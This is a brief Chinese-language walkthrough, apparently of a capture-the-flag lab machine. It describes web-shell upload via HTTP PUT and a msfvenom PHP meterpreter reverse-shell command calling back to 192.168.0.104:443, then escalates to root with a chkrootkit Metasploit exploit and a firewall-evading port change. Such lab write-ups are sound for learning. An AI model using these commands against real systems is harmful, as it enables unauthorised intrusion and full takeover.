0x00 信息收集

dirb扫目录 发现个test

0x01 获取shell

发现可以PUT 那么试试直接上传文件

连接成功

用的中国蚁剑 打开虚拟终端

0x02 提权

还是老规矩msf走起

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=443 >/root/shell_443.php
用中国蚁剑上传上去 本地监听 拿到shell

shell放到后台 search chkrootokit的exp然后加载到后台shell里
注意这时候443会被重置为exp里设定的4444
由于靶机防火墙不允许非常用端口的使用所以我们需要使用443来操作
重新set lport 443

拿到root！